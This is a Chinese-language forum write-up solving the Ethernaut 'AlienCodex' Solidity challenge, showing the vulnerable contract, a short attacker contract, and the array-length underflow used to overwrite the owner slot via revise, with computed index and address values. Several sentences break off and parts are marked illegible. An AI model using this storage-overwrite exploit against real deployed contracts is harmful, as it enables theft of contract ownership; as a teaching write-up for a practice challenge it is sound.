

前言

今天看了下ethernaut的题库，发现又多了一道题，质量感觉还行，搜了下貌似还没有write up，那就顺手写一笔吧

题目概要

题目链接

该挑战的代码并不长，如下

```
pragma solidity ^0.4.24;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract AlienCodex is Ownable {

    bool public contact;
    bytes32[] public codex;

    modifier contacted() {
        assert(contact);
        _;
    }

    function make_contact(bytes32[] _firstContactMessage) public {
        assert(_firstContactMessage.length > 2**200);
        contact = true;
    }

    function record(bytes32 _content) contacted public {
        codex.push(_content);
    }

    function retract() contacted public {
        codex.length--;
    }

    function revise(uint i, bytes32 _content) contacted public {
        codex[i] = _content;
    }
}
```

开头import了Ownable合约，其实就是为了引入一个owner变量，虽然不是那么有必要，但勉强也算是一个考点吧，因为solidity中的继承就是代码引用，所以这个owner变

代码的逻辑也很简单，虽然从名字上看有点懵逼，貌似还是个书名

通过make_contact函数我们可以将contact变量置为true，这样相当于启动了整个合约，毕竟调用其他几个函数的前提都是contact为true，然后使用另外三个函数我们就可

数组长度的绕过

刚看到这个判断的时候我的想法是直接部署一个合约，设置一个bytes32动态数组，将其长度设为2**200+1，然后传递给make_contact函数，就像下面这样

```
bytes32[] public s;
function pwn(){
    s.length=2**200+1;
    target.make_contact(s);
}
```

习惯上我就直接在remix上部署了这个攻击合约，因为这两天ropsten测试链在分叉，交易经常会被打包到分叉链上，所以我先在remix的jvm虚拟机上测试了一下，结果一调

随后我对测试合约进行了修改

通过retract函数我们可以将codex的length下溢，然后在revise里我们就能对溢出存储位长度所需的index部分进行赋值，要注意的是直接调用revise是不行的，因为length

[illegible]

这样的话我们要使用的slot也就是1了，这其实跟mapping那道题目一样了，省点事我就直接把那边的图拿过来用了

得到

这样的话我们将得到的index输入revise函数i, 将 content换成我们的账户地址即可


revise

i:

3570766637743564821188790887498460811995

_content:

11eed0499df1539767af3a4981c8c598572bac20a



transact

这时我们的挑战应该就完成了

[illegible]

做完感觉还是有些收获吧，如果合约设计的更符合逻辑一点就比较完美了

参考资料

[abi详解](#)

[web3.js 1.0 中文手册](#)

点击收藏 | 0 关注 | 1

[上一篇：node1 靶机渗透指南](#) [下一篇：诡计重现—通过使用PyREbox工...](#)

1. 1 条回复



cctx 2018-10-20 15:29:07

最后一步 content 覆盖的时候因为储存优化的关系，会一次覆盖2个值，是不是应该在账户地址前面加上 0x00000000000000000000000001

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)